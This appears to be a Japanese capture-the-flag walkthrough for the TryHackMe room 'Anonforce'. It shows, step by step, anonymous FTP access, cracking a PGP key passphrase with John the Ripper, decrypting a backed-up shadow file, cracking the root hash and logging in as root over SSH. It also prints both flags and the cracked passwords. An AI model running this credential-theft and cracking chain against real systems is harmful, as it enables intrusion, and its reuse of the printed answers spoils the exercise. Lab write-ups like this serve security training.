概要
TryHackMe「Anonforce」のWalkthroughです。
Task1
Q1.user.txt
nmap
でポートスキャンを実行します。
$ nmap -Pn -sC -A -T4 -sV 10.10.160.40
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.6.55.144
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 2 0 0 4096 Aug 11 2019 bin
| drwxr-xr-x 3 0 0 4096 Aug 11 2019 boot
| drwxr-xr-x 17 0 0 3700 Jun 16 08:47 dev
| drwxr-xr-x 85 0 0 4096 Aug 13 2019 etc
| drwxr-xr-x 3 0 0 4096 Aug 11 2019 home
| lrwxrwxrwx 1 0 0 33 Aug 11 2019 initrd.img -> boot/initrd.img-4.4.0-157-generic
| lrwxrwxrwx 1 0 0 33 Aug 11 2019 initrd.img.old -> boot/initrd.img-4.4.0-142-generic
| drwxr-xr-x 19 0 0 4096 Aug 11 2019 lib
| drwxr-xr-x 2 0 0 4096 Aug 11 2019 lib64
| drwx------ 2 0 0 16384 Aug 11 2019 lost+found
| drwxr-xr-x 4 0 0 4096 Aug 11 2019 media
| drwxr-xr-x 2 0 0 4096 Feb 26 2019 mnt
| drwxrwxrwx 2 1000 1000 4096 Aug 11 2019 notread [NSE: writeable]
| drwxr-xr-x 2 0 0 4096 Aug 11 2019 opt
| dr-xr-xr-x 104 0 0 0 Jun 16 08:47 proc
| drwx------ 3 0 0 4096 Aug 11 2019 root
| drwxr-xr-x 18 0 0 540 Jun 16 08:47 run
| drwxr-xr-x 2 0 0 12288 Aug 11 2019 sbin
| drwxr-xr-x 3 0 0 4096 Aug 11 2019 srv
| dr-xr-xr-x 13 0 0 0 Jun 16 08:47 sys
|_Only 20 shown. Use --script-args ftp-anon.maxlist=-1 to see all.
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8a:f9:48:3e:11:a1:aa:fc:b7:86:71:d0:2a:f6:24:e7 (RSA)
| 256 73:5d:de:9a:88:6e:64:7a:e1:87:ec:65:ae:11:93:e3 (ECDSA)
|_ 256 56:f9:9f:24:f1:52:fc:16:b7:7b:a3:e2:4f:17:b4:ea (ED25519)
ftp:21
,ssh:22
のポートがオープンになっていると分かりました。
更にFTPではアノニマスログインが許可されており、ディレクトリ構成を列挙してくれました。
FTPに接続します。
$ ftp 10.10.160.40
Connected to 10.10.160.40.
220 (vsFTPd 3.0.3)
Name (10.10.160.40:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
/home/melodias
配下にuser.txt
があるので取得します。
ftp> cd /home/melodias
250 Directory successfully changed.
ftp> dir
229 Entering Extended Passive Mode (|||36395|)
150 Here comes the directory listing.
-rw-rw-r-- 1 1000 1000 33 Aug 11 2019 user.txt
226 Directory send OK.
ftp> get user.txt
ユーザーフラグゲットです。
$ cat user.txt
606083fd33beb1284fc51f411a706af8
A.606083fd33beb1284fc51f411a706af8
Q2.root.txt
/notread
という興味深いディレクトリを見つけました。
drwxrwxrwx 2 1000 1000 4096 Aug 11 2019 notread
中にはPGP鍵のバックアップと秘密鍵があるのでダウンロードします。
-rwxrwxrwx 1 1000 1000 524 Aug 11 2019 backup.pgp
-rwxrwxrwx 1 1000 1000 3762 Aug 11 2019 private.asc
秘密鍵をJohn The Ripperで解析するのでgpg2john
を使用してprivate.asc
をJohn形式に変換します。
$ gpg2john private.asc > privatejohn
解析します。
$ john privatejohn
パスワードがわかりました。
xbox360 (anonforce)
秘密鍵をインポートします。
パスフレーズは先ほど判明したxbox360
を使用します。
backup.pgp
を復号します。
$ gpg --decrypt backup.pgp
パスフレーズはxbox360
を使用します。
中身は/etc/shadow
ファイルでした。
root:$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0:18120:0:99999:7:::
daemon:*:17953:0:99999:7:::
bin:*:17953:0:99999:7:::
sys:*:17953:0:99999:7:::
sync:*:17953:0:99999:7:::
games:*:17953:0:99999:7:::
man:*:17953:0:99999:7:::
lp:*:17953:0:99999:7:::
mail:*:17953:0:99999:7:::
news:*:17953:0:99999:7:::
uucp:*:17953:0:99999:7:::
(省略)
root
パスワードのハッシュが得られたので解析します。
$ echo '$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0' > root_hash.txt
$ john root_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
パスワードがわかりました。
hikari (?)
rootでSSH接続します。
$ ssh root@10.10.46.2
/root/root.txt
を閲覧してフラグゲットです。
# cat /root/root.txt
f706456440c7af4187810c31c6cebdce
A.f706456440c7af4187810c31c6cebdce